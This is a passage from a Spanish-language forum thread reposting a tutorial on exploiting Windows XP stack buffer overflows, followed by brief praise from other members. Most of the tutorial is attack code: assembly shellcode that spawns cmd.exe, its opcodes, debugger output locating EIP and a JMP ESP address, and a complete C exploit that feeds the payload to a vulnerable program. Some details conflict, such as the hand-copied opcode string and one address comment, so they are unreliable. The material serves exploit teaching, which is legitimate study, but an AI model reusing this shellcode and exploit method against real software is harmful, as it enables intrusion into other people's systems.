dirección de un código que nos fuera provechoso? Ese código provechoso es
nuestra shellcode Smile

Si conseguimos que el programa salte a donde nosotros queramos, donde este
nuestra shellcode, podremos ejecutar CUALQUIER código (funciones, etc...
cualquier cosa, aunque mientras mas complicada, mas grande será la shellcode,
y hay que tener en cuenta el tamaño del buffer...). Una shellcode puede ejecutar
cualquier cosa, tanto en Windows, como en Linux y derivados.

Y donde metemos nuestra shellcode???? (ahora lo veremos) Y mas importante aun...
¿COMO LA HACEMOS?

Una shellcode se hace en ensamblador, en ASM. No es tan difícil como parece Smile
Tratare de explicar como codear una pequeña y simple shellcode que ejecute una
shell cmd.

Bien, antes de nada, aquí es más que recomendable tener el Visual C++ 6.0.

Básicamente, lo que queremos es convertir esta función C, en un código ASM, y
posteriormente, ese código convertirlo en hexadecimal, y pasárselo al programa
como parámetro, pero ya entraremos en eso.

system ("cmd.exe"); // ejecuta el comando "cmd.exe", con lo que sale una shell
MSDOS.

También podíamos haber usado WinExec() en vez de system, o incluso
CreateProcess() eso se lo dejamos a cada uno que pruebe Smile

Bien, como ya he dicho, llamar a system, como una función cualquiera, en ASM,
seria así:

push 0 --> en realidad, system se llama así: system("cmd.exe0"), con un null
(0) para delimitar el final de la cadena "cmd.exe"
push dirección_cadena_cmd --> system realmente se llama así: system(dirección
del comando)
call system --> offset de system en la msvcrt.dll


Bien, tenemos que conseguir 3 cosas:

1º- Meter un NULO (NULL -> 0x00, 0) en la pila, para delimitar el fin de cadena
de cmd.exe--> "cmd.exe\00". Esto nos puede acarrear problemas con strcpy, si
strcpy detecta un 0 en una cadena, deja de copiar el resto de la cadena.
Cualquier función que trabaje con cadenas, un 0, un 0x00, un \x00 lo interpreta
como fin de cadena (aunque luego haya mas cosas, las ignora)

2º- Necesitamos meter "cmd.exe" en la pila (push 'c', push 'm', push 'd', push
'.', etc...), y luego saber su dirección en la propia pila, para pasársela a
System() como argumento.

3º- Necesitamos la dirección de la función System() en la DLL msvcrt.dll

Así que iremos punto por punto para hacer nuestra shellcode básica Smile


-== COMO HACER UNA SHELLCODE BASICA ==-

1º El tema del nulo (null)

Pongamos este ejemplo, en codigo C:

char buffer[10]; //declaramos un array de 10bytes
char cadena[10]= "lola\0wop"; //declaramos otro que contiene ese string.

strcpy (buffer, cadena) // copiamos cadena dentro de buffer.

Strcpy() solo copiara "lola" en buffer, ya que ha detectado un \0 (NULL), que
significa FIN DE CADENA.

Así que no puede haber nulos en la shellcode (0x00), ni, opcionalmente, retornos
de carro (0x0D), así como "mas cosas" según lo que acepte el programa
vulnerable. Un programa que tiene un overflow al abrir un archivo de Windows
muy largo tendrá la dificultad que la shellcode no podrá contener caracteres que
Windows no permite en los nombres de fichero, por ejemplo.

¿Como la hacemos para que no haya nulos en los opcodes, pero si en la pila?

Muy fácil, usando la función XOR (OR exclusivo).

Cuando a un valor se le hace un XOR consigo mismo, da 0. Si quereis mas
información sobre XOR (y sus diversas funciones respecto a una shellcode, muy
interesantes, como al encriptación XOR que se empezo a usar en virus...) google
Smile

xor edi,edi <-- He usado EDI por ejemplo... EDI será igual a 00000000.
push edi <--- Metemos 00000000 en la pila

Ya tenemos un "0" en la pila, pero los opcodes de XOR EDI, EDI y PUSH EDI en
hexadecimal no contienen ningún 0 en hexadecimal, perfecto Smile

2º- Necesitamos meter "cmd.exe" en la pila y saber la dirección del inicio de la
cadena "cmd.exe" en la pila.

sub esp,04h <--- "sustrae" a ESP 04h bytes, con lo que apuntara "mas arriba",
dejándonos 4bytes mas para meter cmd.exe (ya teniamos 4bytes, ahora 8bytes)

mov byte ptr [ebp-08h],63h <-- Mete 'c' en hexadecimal en ebp-8bytes
mov byte ptr [ebp-07h],6Dh <-- Mete 'm' en ebp -7
mov byte ptr [ebp-06h],64h <-- Mete 'd' en ebp -6
mov byte ptr [ebp-05h],2Eh <-- Mete '.' en ebp -5
mov byte ptr [ebp-04h],65h <-- Mete 'e' en ebp -4
mov byte ptr [ebp-03h],78h <-- Mete 'x' en ebp -3
mov byte ptr [ebp-02h],65h <-- Mete 'e' en ebp -2

lea eax,[ebp-08h] <--- cargamos en eax, la dirección (NO el valor) de ebp-08,
que apunta a nuestra 'c', el inicio de cmd.exe
push eax <-- Metemos la dirección de 'cmd.exe' en la pila

Utilizamos direcciones "relativas" como ebp-7bytes, para que la shellcode sea
bastante reutilizable. Las direcciones de la pila son muy variables, con lo que
no conviene usar direcciones absolutas. De todas formas, alguna dirección
absoluta usamos Razz Ya lo veremos.....

Ya están la cadena cmd.exe\00 en la pila, solo necesitamos la dirección de system()

3º- dirección de System() en la DLL msvcrt.dll

Esta dirección (u offset) variara debido a la versión (Win2k, Win XP, etc..) así
como a los service packs instalados, lenguaje del SO y cualquier otra cosa que
modifique las DLLs del sistema (puede ocurrir que dos personas tengan el
mismo SO, los mismos SPs, el mismo lenguaje, etc... y las DLLs sean distintas).
Se puede crear una shellcode (no es muy difícil, hay varios métodos) que no se
sirva de ninguna dirección "harcodeada" (es decir, dirección fija) pero no
lo trataremos aquí ya que esto se alargaría bastante, además de que solo
tratamos de crear una shellcode simple y que funcione. De todas formas, saber
que la dirección de system (y de cualquier otra API) se puede sacar en tiempo de
ejecución, haciendo la shellcode completamente universal.

Se puede buscar dicho offset de system() "a mano" con un debugger, simplemente
creando por ejemplo un código C donde se llame a system() y luego en el
debugger, ver a donde apunta el Call msvcrt.system.

Pero, como soy vago Smile He medio codeado un mini programa que te dice el offset
de cualquier función en cualquier dll.
Lo podéis encontrar aquí:

http://foro.elhacker.net/index.php/topic,56137.0.html

Pero por si no lo queréis buscar, os pongo el código C:

#include <stdio.h>
#include <windows.h>
typedef VOID (*MYPROC)(LPTSTR);

int main (int argc, char **argv) {
char dll[100];
char función[100];

HINSTANCE libreria;
MYPROC procadd;

printf ("Busca offsets xDD. Introduce como primer argumento el nombre de la
DLL,\n");
printf ("y como segundo argumento la función dentro de esa DLL\n");
printf ("Por ejemplo %s msvcrt.dll system\n\n", argv[0]);

if (argc != 3){
printf ("Introduce 2 argumentos como se explica mas arriba!!!\n");
return 1;
}

memset(dll,0,sizeof(dll));
memset(funcion,0,sizeof(funcion));

memcpy (dll, argv[1], strlen(argv[1]));
memcpy (funcion, argv[2], strlen(argv[2]));

libreria = LoadLibrary(dll);
procadd = (MYPROC)GetProcAddress (libreria,funcion);

printf ("Offset de %s en la DLL %s es %x", funcion, dll, procadd);

return 0;

}

Ojo, después de codearlo, me dado cuenta que hay varios códigos por ahí que
hacen lo mismo, además de que cualquier programador que haya trabajado con APIs
de Windows, sabe hacer este código. Simplemente me lo he codeado, por codear
xDDD.

Al lio, una vez sacado el offset, en un Windows XP SP1 es 77bf8044. Ya tenemos
el offset Smile

mov ebx,0x77bf8044 <-- Metemos en ebx el valor del offset de system, en un Win
XP SP1 es 77bf8044
call ebx <-- Llamamos a system y ejecuta nuestra shellcode Smile

Nota: no se puede hacer directamente un call 0x77bf8044, hay que guardarlo en un
registro, y luego llamar al registro.

Veamos el código completo de la shellcode, dentro de un código C. Lo metemos en
un código C para poder probarlo (en vez de buscar un compilador como NASM o
TASM) ya que es mas "fácil". Además, tenemos que "cargar" la librería
msvcrt.dll en este mini programita, ya que nos valemos de ella para llamar a
system. Si no la cargáramos, al tratar de ejecutar la shellcode, como msvcrt.dll
no esta en la tabla de importaciones del ejecutable, no la podríamos usar.

Normalmente, los programas vulnerables que "petemos" cargaran numerosas
librerías, con lo que nos podremos valer de ellas.
Y aunque no cargaran ninguna, tiene que cargar por fuerza kernel32.dll y
ntdll.dll (las cargan todos los ejecutables), y a través de kernel32.dll podemos
buscar los offsets de LoadLibrary (para cargar la librería DLL que queramos) así
como GetProcAddress(para saber la dirección de la función o API dentro de la
librería cargada).Todo esto a través de la shellcode, así es como se realizan
las shellcodes "universales". Pero eso se sale de una shellcode "simple", así
que no lo trataremos.

Bien, este es el código C:

#include <stdio.h>
#include <windows.h>

int main () {

LoadLibrary("msvcrt.dll");
__asm{
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77bf8044
call ebx
}
}


Este código NO FUNCIONA en el compilador Dev Cpp, ya que Dev Cpp trabaja con ASM
AT&T, mucho mas complicado y coñazo (para mi), lo tendréis que compilar en
VISUAL C++ o otro equivalente que trabaje con ASM Intelx86.

Las instrucciones:

push ebp
mov ebp,esp

Sirven para "crear" y mantener un espacio en la pila para nuestras variables. En
este caso es necesario, pero es más que probable que en un exploit "real" no lo
necesitemos, ya que el programa que tratemos de explotar tendrá la pila
lista para introducir nuestra shellcode. Lo único que hace es salvar el ebp
actual, y crear una nueva "pila" al mover el valor de esp en ebp.

Si lo compilamos, y ejecutamos el exe, veremos que el programa funciona Smile Sale
una shell MSDOS.

Bien, pero ¿como "metemos" esta shellcode en el programa vulnerable?

A través de sus opcodes hexadecimales, la "conversión" de instrucción ASM a
hexadecimal. Esto ya lo vimos al meter en el olly el programita vuln1.exe:


004012CD |. 68 80124000 PUSH vuln1.00401280 ; /format =
"Introduzca un argumento al programa"
004012D2 |. E8 79170000 CALL <JMP.&msvcrt.printf> ; \printf
004012D7 |. 83C4 10 ADD ESP,10
004012DA |. EB 17 JMP SHORT vuln1.004012F3
004012DC |> 83EC 08 SUB ESP,8
004012DF |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
004012E2 |. 83C0 04 ADD EAX,4
004012E5 |. FF30 PUSH DWORD PTR DS:[EAX] ; /src
004012E7 |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |
004012EA |. 50 PUSH EAX ; |dest
004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; \strcpy
004012F0 |. 83C4 10 ADD ESP,10

Por ejemplo, veis que el "opcode" de un PUSH EAX es '50', o que el de un SUB
ESP,8 es '83EC 08'.

Para ver los opcodes de nuestra shellcode hay varios métodos, pero vamos, lo mas
fácil es meterla en el Olly, y verlos directamente, y copiarlos en una libreta
(al menos así lo hago yo con shellcodes cortas Razz). Se explican en numerosos
documentos (entre ellos, en documentos de ezines españolas muy recomendables de
leer..., por ejemplo en uno de RaiSe de Net-Search) como hacer programitas que
lean los opcodes, y te los printeen por pantalla ordenaditos y tal, pero yo
lo haré a mano Smile

Obviamente, todo lo que "sale" por el olly no es nuestra shellcode, son
instrucciones que añade el compilador para que funcione perfectamente,
compatibilidad msdos, control básico de errores, etc..... Si queremos buscar
nuestra shellcode dentro del ejecutable, podemos hacerlo de varias maneras...

Yo la que he usado, mas cómoda, es mirar la tabla de string references, la tabla
donde se guardan las cadenas de texto y ver donde esta "msvcrt.dll" (es una
cadena de texto introducida por nosotros en el programa), clickear 2 veces, y me
lleva directamente al código del LoadLibrary ("msvcrt.dll"). Para ver las string
references, clik botón derecho, Search for -> All refenced strings. Abajo del
todo (en mi caso) estaba msvcrt.dll.

También podemos hacerlo buscando una instrucción de nuestra shellcode (por
ejemplo, 83EC 04, SUB ESP,4) o simplemente corriendo el programa paso a paso
(algo lento Razz).

Bueno, vamos al código (al hacer lo de string references):

0040B4DA |. 68 3CFF4100 PUSH OFFSET pruebash.??_C@_0L@CMOK@msvcr>; /FileName
= "msvcrt.dll"
0040B4DF |. FF15 5C414200 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>;
\LoadLibraryA
0040B4E5 |. 3BF4 CMP ESI,ESP
0040B4E7 |. E8 845BFFFF CALL pruebash.__chkesp
0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra
shellcode
0040B4ED |. 8BEC MOV EBP,ESP
0040B4EF |. 33FF XOR EDI,EDI
0040B4F1 |. 57 PUSH EDI
0040B4F2 |. 83EC 04 SUB ESP,4
0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63
0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D
0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64
0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E
0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65
0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78
0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65
0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
0040B514 |. 50 PUSH EAX
0040B515 |. BB 4480BF77 MOV EBX,77BF8044
0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode
0040B51C |. 5F POP EDI
0040B51D |. 5E POP ESI
0040B51E |. 5B POP EBX
0040B51F |. 83C4 40 ADD ESP,40
0040B522 |. 3BEC CMP EBP,ESP
0040B524 |. E8 475BFFFF CALL pruebash.__chkesp
0040B529 |. 8BE5 MOV ESP,EBP
0040B52B |. 5D POP EBP
0040B52C \. C3 RETN



"Caemos" justo arriba, en FileName=msvcrt.dll. Y ya vemos nuestra shellcode, y
vemos que el compilador ha añadido instrucciones por debajo y por arriba (lo
dicho, compatibilidad, control de excepciones, salida del programa, etc..),
pero no nos importa. Aquí esta la shellcode:

0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra shellcode
0040B4ED |. 8BEC MOV EBP,ESP
0040B4EF |. 33FF XOR EDI,EDI
0040B4F1 |. 57 PUSH EDI
0040B4F2 |. 83EC 04 SUB ESP,4
0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63
0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D
0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64
0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E
0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65
0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78
0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65
0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
0040B514 |. 50 PUSH EAX
0040B515 |. BB 4480BF77 MOV EBX,77BF8044
0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode

Y vemos los opcodes, los copiamos a una libreta a mano, o un Copy-Paste a un
archivo de texto, o usamos algun programa que nos la printee por pantalla.

Deberíamos tener algo así:

55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF
D3

Estos son los opcodes. Si os fijáis, veréis que esta la dirección del offset de
System() (77BF8044) pero AL REVES.
Esto es debido a que la arquitectura de nuestros Intelx86 o derivados (AMD,
etc...) es LITTLE ENDIAN. A no ser que dispongamos de un Alpha o un Sparc en
casa, nos manejaremos en Little Endian a la hora de direcciones y offsets.
Simplemente, para no enrollarme, al meter un offset, lo tenéis que meter "al
revés". Si queréis mas información, google -> little endian Smile

Bien, tenemos los opcodes de nuestra shellcode Smile. Sabemos que por ejemplo A =
41h (41 hexadecimal, si fuera 41d, seria 41 en decimal), con lo que un 50h = P o
6Dh = m, pero hay otros que están fuera de la tabla ASCII, y además, meter así
los opcodes es un coñazo, y que nadie lo hace xD.

Pero... ¿como sabemos la dirección del inicio de la shellcode para poder
sobrescribir EIP con su valor? ¿Como haremos para que el programa funcione
siempre si las direcciones de la pila varían? ¿Y como le pasamos al programa
vulnerable la shellcode?

-== CREANDO EL EXPLOIT ==-

Vamos a crear el exploit Smile

- ¿Como sabemos la dirección del inicio de la shellcode para sobrescribir EIP
con su valor?

Para saber donde sobrescribimos EXACTAMENTE EIP, es decir, donde meter la
dirección de la shellcode, usaremos una técnica especial xDDDD. En vez de mandar
al programa AAAAAAAAAAAAAAAs... a mogollón, le mandaremos AAAABBBBCCCCDDDD....

Así sabremos donde exactamente sobrescribe el RET, para así poder cambiarlo por
la dirección de la shellcode.

Si le metemos al programa esto (a través del Olly, Arguments) AAABBBBCCCCDDDD...

Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro
del buffer, donde debe ir la dirección de la shellcode que "cojera" EIP y
ejecutara nuestra shellcode.

- ¿Como haremos que el programa funcione siempre si las direcciones de la pila
varían?

Si metiéramos directamente la dirección de la shellcode en la pila (una
dirección del tipo 0022XXXX), tendríamos 2 problemas:
La pila cambia muchísimo según las aplicaciones que estén en ejecución, y mas
aun cambiara en otros sistemas, con lo que no funcionara salvo en nuestro propio
ordenador.

Y el otro problema, es que en la pila las direcciones contienen un 00 -->
0022XXXX (a diferencia de Linux) con lo que no podemos hardcodear la dirección
de la pila.

Pero si habéis visto lo anterior, la prueba de AAAABBBBCCCCDDDD... (hacedlo de
nuevo), fijaos en la pila cuando se produce la excepción:

0022FF74 54545454 <- EIP ha tratado de ejecutar lo que hay en la dirección
54545454 (EIP = 54545454)
0022FF78 55555555 <- ESP= 0022FF78
0022FF7C 56565656

Si os fijáis, EIP ha cogido el valor de 54545454, pero ESP apunta a 55555555.
¿No os da una idea?

Si consiguiéramos que EIP "saltara" a una dirección de memoria que contuviera un
JMP ESP (salto a ESP) o un CALL ESP (llamada a ESP) y en vez de tener 55555555
tuviéramos los opcodes de nuestra shellcode, SE EJECUTARIA NUESTRA SHELLCODE!!!!

Vamos paso a paso Smile

En vez de 54545454 hay una dirección de una instrucción de un JMP ESP. EIP
cogería esa dirección, ejecutaría el JMP ESP, y "caería" donde apunta ESP, es
decir, en 55555555, que lo cambiaríamos por nuestra shellcode, por lo que se
ejecutaría.

Y como buscamos una dirección de un JMP ESP o un CALL ESP? En una DLL que cargue
el programa vulnerable, con FINDJMP, un programita realmente útil. Dicho
programita, buscara en la DLL que le digamos, instrucciones referidas al
registro que queramos. El findjmp lo encontrareis en el foro de elhacker.net Smile

Por ejemplo, como ya he dicho, todo programa ejecutable carga kernel32.dll y
ntdll.dll, aunque también podríamos usar cualquier librería que cargara el
programa ejecutable (para ver eso, podemos cargar el programa vulnerable en el
Ollydbg, y ver los EXECUTABLE MODULES, y ahí vienen las DLLs que carga).

Si usáramos el findjmp así:


Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos>findjmp kernel32.dll esp

Scanning kernel32.dll for code useable with the esp register
0x77E81941 call esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 1 usable addresses

Vemos que solo hay una instrucción que use el registro ESP, y es un CALL ESP,
preferimos mejor un JMP ESP (un call siempre guarda en la pila, como ya dije, su
instrucción anterior, y eso nos puede fastidiar la shellcode....).
Mejor buscamos un JMP ESP:

Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos>findjmp ntdll.dll esp

Scanning ntdll.dll for code useable with the esp register
0x77F7AC16 call esp
0x77F8980F jmp esp
Finished Scanning ntdll.dll for code useable with the esp register
Found 2 usable addresses

Ya tenemos un JMP ESP en la librería ntdll.dll, en el offset 0x77F8980F.

Esto es en mi Windows XP SP1, el offset cambiara según versiones del Windows,
SP, lenguajes...

En Linux no se hace así, no se llama a un JMP ESP, si no que se usa, en la forma
BÁSICA de explotación, NOPs (instrucciones ASM que NO EJECUTAN NADA, simplemente
pasan a la siguiente instrucción), offsets aproximados de direcciones de la
pila, y un bruteforce... Eso, si hay ganas, se hará otro manual, pero para
explotación en sistemas Linux si que hay mucha mas documentación, y en español
incluso.

- Como le pasamos al programa la shellcode

Ya tenemos la dirección del JMP ESP, es decir, sabemos con que valor tenemos que
sobrescribir el RET para que se ejecute el programa. Solo nos queda precisamente
enviarle al programa vulnerable AAAABBBB...SSSS (para llenar el buffer)
+ offset JMP ESP + shellcode.

¿Como lo hacemos?

El programa vulnerable recibe los datos que hacen el overflow a través de la
línea de comandos, de sus argumentos.
Podríamos pasarle la shellcode en caracteres printeables por los argumentos,
pero eso es un coñazo, porque primero tendríamos que convertir esos opcodes a su
equivalente en la tabla ASCII (algunos no están Razz) y luego copy paste... no no,
mejor que no.

Mejor nos codeamos un "exploit" en C, que llamara al programa pasándole los
datos de la shellcode por parámetro, así nos libramos de convertir los opcodes.
De todas formas, en el programa incluiré un printf() para que veáis como son.

/* exploit_vuln1.c por Rojodos */

#include <stdio.h> // Entrada/Salida
#include <stdlib.h> // execv()

int main (int argc,char **argv) { //Declaramos argv para usarlo con el execv

char
evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL MMMMNNNN"
"OOOOPPPPQQQQRRRRSSSS"; //Para llegar el buffer y llegar al ret

char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8 \x63"

"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\ xC6\x45\xFC\x65\xC6\x45\xFD"
"\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\ xBF\x77\xFF\xD3";
//Shellcode que ejecuta system("cmd.exe"), con la llamada a system
harcodeada
//en \x44\x80\xBF\x77 0x77BF9044

char offset[]="\x0F\x98\xF8\x77"; // Offset jmp esp ntdll32.dll WinXP SP1
Esp

strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la
shellcode
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);


argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de
vuln1
argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos

execv ("vuln1.exe",argv); //Ejecutamos vuln1.exe pasándole evilbuffer como
argumento
}


Nota para los programadores Razz Tendría que haber creado una estructura de
punteros para usarlo en el execv, pero me he valido de argv[] para no marear las
cosas, por simplicidad. Espero que no me cuelgen por eso Razz

Este exploit compila perfectamente en Dev Cpp, y *debería* compilar en cualquier
otro compilador de Windows (y de Linux). La única función que podría dar
problemas es execv, pero en teoría es compatible con Windows, no creo
que haya ningún problema. No lo he probado en más compiladores.

Al compilarlo, y crear exploit_vuln1.exe, si lo ejecutamos, saltara una shell
MSDOS Smile


Hemos explotado con éxito el programa vuln1.exe, a través del programa
exploit_vuln1.exe. Razz


Espero que os haya gustado el documento, y que os ayude a, primero, entender los
stack overflows, y luego, a crear vuestros propios exploits básicos. La mejor
forma de aprender, aparte de leer docs y mas docs, es programando, programando y
mas programando Smile

Los dos exploits públicos que he escrito, el del Winamp 5.08 Stack Overflow y el
de Acrobat Reader 6.0.1 Stack Overflow están basados en este documento.
Cualquiera que lea y comprenda este documento, podría haber creado dichos
exploits. Así que como veis, no tiene ningún misterio Smile

No dejéis de practicar, y cualquier pregunta será mejor que recibida en el foro
de elhacker.net.

-== DOCUMENTACION ==-

Documentos importantes mucho mejor redactados y completos que el mío Razz
(exploits y stack overflows en Windows o shellcoding en general). Hay MUCHOS
más, pero estos son los que he considerado importantes Smile

Gran Recopilación de textos sobre el tema, por Griph:
http://foro.elhacker.net/index.php/topic,49765.0.html

Phrack. Win32 Buffer Overflows
http://www.phrack.org/phrack/55/P55-15

Phrack. Avances en Windows Shellcoding
http://www.phrack.org/phrack/62/p62-..._Shellcode.txt

NetSearch. Shellcodes + Overflows Win32 (1)
http://www.hackemate.com.ar/ezines/n...7/ns7-0x03.txt

NetSearch. Shellcodes + Overflows Win32 (2)
http://www.hackemate.com.ar/ezines/n...7/ns7-0x04.txt

Introducción al shellcoding (Linux)
http://tigerteam.se/dl/papers/intro_to_shellcoding.pdf

Lastima de Phrack Sad

Y por supuesto, buscar tanto por la web como por el foro de elhacker.net Smile

Y si no, google!


-== AGRADECIMIENTOS ==-

Hecho para el foro de elhacker.net Smile

http://foro.elhacker.net

Aún así, se permite la distribución del texto en cualquier sitio web, pero
haciendo referencia en los créditos al autor, en este caso, yo, Rojodos.

Agradecimientos a todos los colaboradores y moderadores, y al administrador,
aprendiendo cada día de ellos Smile

A todos los españoles que colaboran en la seguridad y el hacking, a NetSearch,
7a69, SET, 29A, Cyruxnet, Hackxcrack, y a cualquier persona en el mundo que se
interese y escriba sobre la seguridad informática, que nos aporte lo que ha
aprendido e investigado Smile

Abstracto es mas tonto de lo que aparenta, que ya es decir xDDDDDDDDDDDDDD (no
podía dejar de ponerlo xDD)

Y a ELLA, Ishtar Smile

Rojodos - rojodos2[at]yahoo[dot]es


_EOF_
__________________
DOWNDATE! Firm: 2.5@2.6@1.5!

SOCOM ONLINE! :P
empaty is offline   Responder Con Cita
The Following User Says Thank You to empaty For This Useful Post:
Tattvas (09/03/11)
Antiguo 04/04/06, 21:24:20   #2
King_Rick
Senior Member
 
Avatar de King_Rick
 
Fecha de Ingreso: jun 2005
Ubicación: Linares, jaén
Mensajes: 1.480
Thanks: 0
Thanked 2 Times in 2 Posts
King_Rick por el buen camino
Predeterminado

increible buen trabajo
__________________
King_Rick is offline   Responder Con Cita
The Following User Says Thank You to King_Rick For This Useful Post:
Tattvas (09/03/11)
Antiguo 04/04/06, 21:30:19   #3
chechuty
Senior Member
 
Fecha de Ingreso: ene 2006
Ubicación: INFILTRADO EN LA SONY...XDDDDD FIRMWARE: 3.03OE
Mensajes: 865
Thanks: 0
Thanked 0 Times in 0 Posts
chechuty por el buen camino
Predeterminado

Ole!!!!!!!!
IMPRESIONANTE
Esta curradisimo.
Salu2
__________________


chechuty is offline   Responder Con Cita
Antiguo 04/04/06, 21:47:09   #4
KakashiOscuro
MonsterHunterS
 
Avatar de KakashiOscuro
 
Fecha de Ingreso: ene 2006
Ubicación: En MonsterHunterS.es
Mensajes: 1.259
Thanks: 0
Thanked 96 Times in 18 Posts
KakashiOscuro pronto sera famoso
Predeterminado

muy muy muy buen trabajo, q crack xD.saludos
__________________
Generacion Tras Generacion Hemos Transmitido Nuestros Conocimientos, Ahora, Los Ponemos En Practica. Comunidad Hispana MonsterHunterS
KakashiOscuro is offline   Responder Con Cita
Antiguo 04/04/06, 21:54:12   #5
FERNANDO_MEDINA
Senior Member
 
Fecha de Ingreso: ene 2006
Ubicación: Valencia
Mensajes: 2.446
Thanks: 0
Thanked 1 Time in 1 Post
FERNANDO_MEDINA por el buen camino
Predeterminado

Esta muy bien pero yo no tengo ni idea de programar, solo un poco en VB
FERNANDO_MEDINA is offline   Responder Con Cita
Antiguo 04/04/06, 22:11:32   #6
anama114
Senior Member
 
Fecha de Ingreso: ene 2006
Ubicación: SABADELL
Mensajes: 334
Thanks: 0
Thanked 0 Times in 0 Posts
anama114 por el buen camino
Predeterminado

yo despues de leerme toda la parrafada digo:
-te lo has currado te as tenido que estar rato para ir apuntandolo todo.
-no tengo ni idea de programar asin que me he quedado igual.
-despues de leermelo la gran pregunta.para que sirve todo esto?
anama114 is offline   Responder Con Cita
Antiguo 04/04/06, 22:24:17   #7
empaty
Senior Member
 
Avatar de empaty
 
Fecha de Ingreso: mar 2006
Mensajes: 360
Thanks: 0
Thanked 1 Time in 1 Post
empaty por el buen camino
Predeterminado

Todos los agradecimientos tienen que ser para Scanf. Anama, es un tutorial sobre programacion, overflows... Para que sirve? Pues mira, aprendes algo de programacion que nunca viene mal
__________________
DOWNDATE! Firm: 2.5@2.6@1.5!

SOCOM ONLINE! :P
empaty is offline   Responder Con Cita
Antiguo 05/04/06, 15:59:01   #8
Alemake
Sevilla Fútbol Club
 
Avatar de Alemake
 
Fecha de Ingreso: ene 2006
Ubicación: Sevilla
Mensajes: 9.675
Thanks: 325
Thanked 644 Times in 380 Posts
Alemake alguien especial en quien confiarAlemake alguien especial en quien confiarAlemake alguien especial en quien confiarAlemake alguien especial en quien confiarAlemake alguien especial en quien confiar
Predeterminado

Pues eso está muy bien,he leído así por encima.
Saludos
Alemake is offline   Responder Con Cita
Antiguo 05/04/06, 17:40:49   #9
Azazel DE
Senior Member
 
Avatar de Azazel DE
 
Fecha de Ingreso: sep 2005
Mensajes: 1.811
Thanks: 0
Thanked 3 Times in 2 Posts
Azazel DE por el buen camino
Predeterminado

Está muy bien, luego lo miraré con más detenimiento porque es un tocho
Ahora, el que no tenga ni idea de programación o el que no haya visto el lenguaje ensamblador se las va a ver negro para entender algo.
Azazel DE is offline   Responder Con Cita
Antiguo 05/04/06, 17:51:07   #10
FERNANDO_MEDINA
Senior Member
 
Fecha de Ingreso: ene 2006
Ubicación: Valencia
Mensajes: 2.446
Thanks: 0
Thanked 1 Time in 1 Post
FERNANDO_MEDINA por el buen camino
Predeterminado

Esto no estaba como post it?
FERNANDO_MEDINA is offline   Responder Con Cita
Respuesta

Bookmarks

Herramientas



La franja horaria es GMT +2. Ahora son las 11:21:17.


Powered by: vBulletin, Versión 3.8.5
Derechos de Autor ©2000 - 2018, Jelsoft Enterprises Ltd.
Traducción VBulletin por vbulletinhispano.com